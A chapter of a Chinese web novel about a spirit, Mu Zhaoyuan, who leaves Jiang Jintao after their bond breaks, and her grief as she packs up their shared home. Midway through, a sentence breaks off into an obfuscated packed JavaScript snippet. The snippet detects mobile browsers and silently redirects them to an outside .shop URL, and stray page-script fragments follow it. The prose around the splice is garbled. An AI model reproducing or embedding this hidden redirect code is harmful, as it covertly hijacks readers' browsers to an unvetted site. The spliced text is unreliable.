深夜,火车车厢。

    穆昭远靠在冷冻车厢的角落,双眼半合。

    车厢随着行进微微晃动,额头处的冷汗自脸颊滚落,没入脖颈处被血洇染纱布。

    他眼皮轻掀,瞥了一眼灭屏已久的手机,心头莫名涌起烦躁。

    他一把抓下脖颈间的纱布,扔在一旁。脖颈处细长的疤痕在白色灯光下显得狰狞可怖。

    终于,一条消息弹出。

    还未看消息,他先松了一口气。

    姜瑾桃逃出来了。

    垂眸看去:

    【姜瑾桃:你在哪里?我们说清楚好吗?】

    心口一颤,他下意识想要捞过手机。

    但一只手悬在半空,最后克制地收回。

    大约五分钟过后,一条新的信息弹出。

    【姜瑾桃:躲也没用,我知道你去哪了。我去找你。】

    找他?

    想起昨夜的经历,他紧咬牙关,死死盯住她的头像。

    然后,指尖颤抖地打下一句回复:“不用找我。我们的绑定已经断了。你见不到我了。”

    最后望着那个再熟悉不过的头像,穆昭远只觉牙根发酸,脖颈处伤口的刺痛提醒着他昨夜的恐怖。

    车轮安静地碾过铁轨,车厢晃动,晃出一滴滚圆的泪水,砸在亮起的屏幕上。

    穆昭远唇瓣紧抿,眉峰紧蹙,仿佛用尽毕生的力气将手机关机,电话卡拔出。

    第二天晚上,他沉默地起身,凝视着前来装卸货物的工人,似游魂,拖着脚步,悄无声息地经过。

    将那张被灵力崩碎的电话卡攥在手心,再随手一抛。

    车站往来的人寥落,各有归处。

    穆昭远仰头望向高耸的雪山,再最后看向那趟载他归来的火车,视线沿着铁轨,遥望千里之外思念所系之处。

    收回目光,他朝着雪山迈步,再未会有。

    或许那个人类说的对吧。

    他就不该抱着执念去寻她。

    雪山是他的归宿,死亡是写定的结局。

    “姜瑾桃,我们再也不见。”

    “姜瑾桃,祝你自由。”

    //

    从精神病院逃离那天,闪烁的手镯为她指路,又让她抄近路到了车辆主干道,碰上驱车前来查看情况的姜淮辰。

    她抱着白团子,被车灯照亮前路的那瞬,她又想起那个夜晚。

    当时似乎也是这样,像个疯子,不停逃离,漫无目的。

    一样是痛失挚爱,可这次却那么痛。

    上了姜淮辰的车,她坐在后座,头靠着车窗玻璃,泪水完全模糊视线。

    不知自己身在何处,只知道周围的光线变亮、再变暗。

    她只觉自己一生都在暗夜里逃离。

    双眼轻闭,那些曾经丢失的记忆如今却那么清晰地重新拓印在心上。

    父母出事后,她住在警局。

    舅舅赶来,说是要承担照顾她的责任。可从头到尾,他只关心父母的财产他能够多获得多少。

    她被迫出院,伤口发炎,甚至发烧,他问都不问一句。

    于是在夜深人静,她忍着发烧的不适,翻出卧室的窗,双手扒着窗框,整个人吊在外墙。

    失重感将她笼罩。

    她不知自己哪来的勇气,一个家中的小公主,竟然胆子大到敢跳窗逃生。

    大不了,就跟父母一起离开这世间。

    冬天的风很冷,吹在破旧的棉袄上,寒意轻易穿透。

    月色冷白,她咬唇,乱晃的脚踩住水管,忙忙地伸手去够。

    最终沿着粗大的水管爬下来,泪水滴落衣领,转瞬就结成冰晶。

    片片白雪飘落。

    路灯闪烁,新雪疏松。

    踩在地面,深一脚浅一脚,跌跌撞撞,凭着印象,朝着警局的方向走去。

    风吹裂脸颊,血沁出,再凝固。

    围巾被吹飞,消失在黑暗里。

    穿过静谧的小区,穿过无人的街道,穿过宁静的公园……

    她最终,跨越十公里,在凌晨3点,站在警局门口。

    她视线模糊,却露出一个大大的笑,以为自己迎来了新的希望。

    画面一转,是为上大学出逃那天。

    凌晨三点,夜色浓稠,她再度翻窗。

    跟着姜淮辰一道,上了提前准备好的车辆。

    疾驰至高铁站,抢在姜家人到达车站的前十五分钟离开。

    飞机上,她望着X城变成视线里的一片亮光,心跳得很快,分不清是畅快更多还是担忧更多。

    视线模糊,再看清眼前景象,发现自己在秋雨中奔跑。

    身后的会所灯光明亮,奢华尽显。

    她提着红裙,高跟鞋无所顾忌地踩过一个又一个水坑。

    泪水和雨水混在一起,下落,没入黑暗。

    心脏抽痛,十年感情一朝破碎。

    她要强,发誓永不回头,发誓自己一定要找一个专一的爱人。

    唇瓣紧抿,湿发贴着头皮和脊背。

    却抬手,毫不犹豫地扯下程庭晔送的项链,摔在地上,踩在脚下。

    可她又深知,自己的一次次逃离,只是走入另一个落网。

    十二岁,她逃离贫穷和被漠视,却投入豪门的棋局。

    十八岁,她逃离吃人的养父母,却坠入爱情和利益交织的陷阱。

    二十八岁,她逃离充满算计但缺乏爱的联姻,却走入一段没有结果的爱情。

    二十九岁,她逃离精神病院,坐在姜淮辰的车上,却不知自己是不是真的获得了自由。

    离开了姜家,程家不可能答应联姻,她逃离了程庭晔,也逃离了养父母。

    可她觉得自己走入了另一层束缚,失去自由却不愿挣脱。

    车辆行进,至凌晨两三点,驶出高速。

    沉默许久的姜淮辰终于开口:“我在Z城有一处房产,可以给你暂住半个月,并且派人保护你。”

    姜瑾桃点点头。

    “我让人去拿回你那份报告了,我相信你一切正常。”他继续说着,在路边停下车,回头,却只见姜瑾桃无意识地在落泪。

    对视片刻,他脱下身上的西装外套,扔到她怀里。

    盯着她片刻,问:“又被甩了?”

    姜瑾桃心中顿时翻腾,想要反驳他为自己挣面子,却无能为力。

    最后,她抱着西装外套,眼神灰暗,很轻地应了一声。

    //

    半个月后。

    姜瑾桃重新回到清悦湾,准备搬离。

    上楼,推开卧室门,里面一切如旧,像一切变故从未发生。

    搬来纸箱,一件一件拾起重要的物件,再离开,站定在隔壁的卧室门前。

    推门进去,所幸,程庭晔的行李已经搬走。

    一个电话打来,是姜淮辰,姜瑾桃点了接通。

    “现在案子审理还没结束,你尽快收拾,以后也尽量不要再回来了。”姜淮辰说完,沉默片刻,轻声安慰一句,“别想他了,他要真喜欢你,会回来找你的。”

    一句话勾起心头的酸涩,姜瑾桃匆忙挂了电话,靠着二楼楼梯边的栏杆站着。

    俯视,一楼客厅尽收眼底。

    沙发柔软,以往总会有只精灵在那里坐

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17925195|209806||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一坐,盯着电视看一会儿,消磨等牛奶加热的时间。

    客厅的灯天一黑就亮,有只精灵跟她说,要留盏灯等她回家,怕她迷路。

    吧台边上,咖啡杯里总盛装着爱心冰块,某天空荡荡的酒瓶见证亲吻的疯狂。

    现在……都没有了。

    她的小精灵再也没有回来。

    但她猜,他还活着。

    如果穆昭远真的消失了,手镯也会失效吧。

    她想着,拉开手提包的拉链,轻轻碰了碰那个软乎乎的白团子。

    尽管它再也不会睁开眼对她笑,不会到处蹦来蹦去。

    思绪芜杂,她深吸一口气,迫使自己往下走。

    下到一楼,她在储物间前伫立片刻,还是决定推门进去。

    储物间很整齐,画稿安安静静被堆在角落,墙角还有两幅大的带相框的画作,被画布精心盖住。

    姜瑾桃此刻没什么心情去探究他的画,只是本能地逃避。

    逃避这段戛然而止的爱情,逃避这个被她的冷漠赶走的小精灵。

    攥着画框的手发紧,她抱着画,逃跑似的将它搬上货车,小心嘱咐要包装保护好。

    返回房间,她忙忙地将他的画稿塞进背包,也不敢打开电脑拷贝文件。

    只怕看见和自己有关的画作,怕自己对不起那句“会被一个很好的人类好好对待”的留言。

    可桌上,却有一个精致的木头小鹿。

    姜瑾桃乍一看以为是桌面装饰,但仔细看去,总觉得是他亲手雕刻。

    不放心,还是将它一并塞进背包。

    做完这一切,她关上房门,手指颤抖。

    在一楼踌躇许久,她逼迫自己去面对,从楼梯下到负一楼,摁亮走廊灯光,像先前无数次做过那样。

    短短的一段路,她却觉得那么长。

    开门,推门。

    她下意识一缩手。

    借着走廊的灯光,她比前一次看得更加真切,更加清楚。

    药箱被砸坏,画具被砸碎,台灯更是破碎。

    被子上血迹斑斑,墙壁上的暗色令人心惊。

    她本能地想要逃避,可脚步却被定住。

    吸气,呼气。

    那种酸涩,自心口,上涌至喉头。

    “你信不信你的新欢也会弃你而去!”

    “像你这种舍不得付出爱的人,凭什么要求别人全心全意爱你!”

    程庭烨的诅咒在此刻被她回想起来。半个月来的辗转反侧、彻夜难眠,她不知道自己为什么会因为一个扰乱神思的药而伤害穆昭远,也不知道自己为什么会把所有的冷漠都给了穆昭远。

    那种过分的防备,信任被粉碎后的应激反应,怎么就成了斩断绑定的利刃?

    她蹲下身来,捡起那个日记本。

    她手忙脚乱地想要合上本子,忽视了那些指尖无意翻动后隐现的文字。

    她不敢看。

    那些写着爱她的话,恨她的话,她不敢看,甚至觉得自己不配看。

    恨自己的冷漠,恨自己的防备,恨自己的言不由衷。

    她沉默着,任由颤抖的双手捡起水果刀,捡起绷带,再用力地擦拭墙上凝固的血迹。

    企图彻底消除这件事留下的痕迹。

    企图让一切回到从前。

    最后,徒劳地瘫坐在地,对着这处熟悉的安全屋,轻喃:

    “冰灯碎了,白团子醒不过来,别墅易主,我也要离开了。”

    她垂头,指尖拂过手镯冰冷的表面,心脏钝痛。

    她笑得苦涩:

    “原来你说的自由,是没有家了啊。”